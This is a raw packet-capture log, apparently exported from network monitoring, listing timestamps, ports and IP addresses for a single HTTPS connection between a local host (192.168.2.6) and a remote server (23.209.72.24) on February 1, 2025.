Feb 1, 2025 21:59:29.851419926 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:29.918154955 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:29.943409920 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.012676001 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019038916 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019165993 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019176960 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019186974 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019424915 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.019443035 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019463062 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019474983 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019480944 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019488096 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.019496918 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.033890963 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.128302097 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.132656097 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.132870913 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.132883072 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133018970 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.133164883 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133177042 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133188009 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133198977 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133214951 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133232117 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133244038 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133255005 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133266926 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133281946 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133300066 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133311033 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133331060 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133416891 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133429050 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133438110 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.133785963 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.153877020 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.249835968 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.250628948 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257080078 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257358074 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257388115 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.257494926 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257508039 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257519007 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257529974 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257544041 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.257551908 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.282202005 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.287355900 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.375186920 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.386610031 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.400588989 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.400676012 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.400876045 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.400888920 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.400901079 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.400912046 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.400959969 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401031971 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401065111 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401076078 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401115894 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401133060 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401145935 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401253939 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401271105 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401283026 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401283026 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.401299000 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401312113 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401393890 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.401561975 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.403712034 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403740883 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403752089 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403867960 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403877974 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403964996 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403975010 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403985977 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.403995991 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.404006958 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.404126883 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.406925917 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.406987906 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407046080 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407058001 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407161951 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407171965 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407187939 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407197952 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407207966 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407218933 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.407284021 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.410454035 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410466909 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410479069 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410489082 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410501003 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410573006 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410589933 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410600901 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410612106 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410624027 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.410876036 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.412905931 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.447247028 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.450092077 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.533318996 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.544302940 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549387932 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549539089 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549613953 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549629927 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549645901 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549657106 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.549683094 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549757957 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549772978 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549787045 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.549798965 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.563582897 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.663007975 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668425083 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668451071 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668581963 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668600082 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668617964 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668668032 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668771982 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668816090 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668867111 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668885946 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.668946028 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.669028997 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.674000025 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.674432993 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.674552917 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.688971996 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.784550905 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790071011 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790083885 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790095091 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790107012 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790118933 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790131092 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790142059 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790153980 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790415049 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790426970 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790472031 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.790568113 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790579081 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790589094 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790600061 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790611029 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790621042 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790718079 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790730000 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790747881 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.790939093 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.793581963 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793593884 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793606043 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793616056 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793627024 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793637037 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793648958 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793721914 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793732882 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793744087 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.793839931 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.796668053 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.796679020 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.796689987 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.796833992 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.796891928 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.796999931 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.797010899 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.797018051 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.797158003 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.797168016 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.797180891 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800069094 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800081015 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800247908 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800259113 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800276995 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800290108 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800302029 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800365925 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.800395012 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800405979 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.800416946 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803328037 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803487062 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803504944 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803515911 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803525925 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803536892 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803548098 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803559065 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803565979 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803628922 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.803776026 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.806621075 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806632042 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806643009 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806777000 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806787968 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806941032 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806952953 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806963921 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806974888 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.806984901 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.807004929 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.810058117 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810072899 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810091019 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810211897 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810223103 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810234070 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810317993 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.810385942 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810398102 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810408115 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.810419083 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813205004 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813230038 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813306093 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813321114 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813335896 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813467026 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.813512087 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813527107 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813541889 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813558102 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.813652039 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.814805031 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.814821005 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.814852953 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.815045118 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.840617895 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:30.908786058 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:30.924232006 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.019946098 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026386976 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026638031 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026746988 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026762009 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026777029 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026791096 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026804924 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.026808023 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.026818037 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.049197912 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.143994093 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.147438049 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.153089046 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.153203964 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.153289080 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.153300047 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.153311014 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.153318882 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.153379917 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.175543070 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.269711971 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275572062 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275636911 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275674105 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275715113 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275819063 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275859118 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275935888 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275976896 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275985003 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.275994062 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.276149035 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.306000948 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.310295105 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.393944025 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.404228926 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.409199953 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.409538031 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.409576893 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.409632921 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.409646988 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.409935951 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.409980059 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.409990072 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410000086 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410054922 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410064936 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410094023 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410155058 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410197020 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.410198927 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410211086 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410248995 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410259962 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410271883 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.410279989 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.436605930 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.446736097 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.528434038 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.541399956 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.546912909 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.547121048 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.547224998 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.547276974 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.547337055 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.547383070 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.549715996 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.549734116 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.549824953 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.549837112 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.549848080 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.549855947 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.549868107 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.550401926 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.550515890 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.586096048 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.676116943 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.680202007 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.684969902 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.685169935 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.685182095 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.685193062 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.685201883 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.709139109 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.709230900 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.709325075 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.750044107 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:31.826813936 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.844630003 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.849904060 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:31.849924088 CET	443	52869	23.209.72.24	192.168.2.6
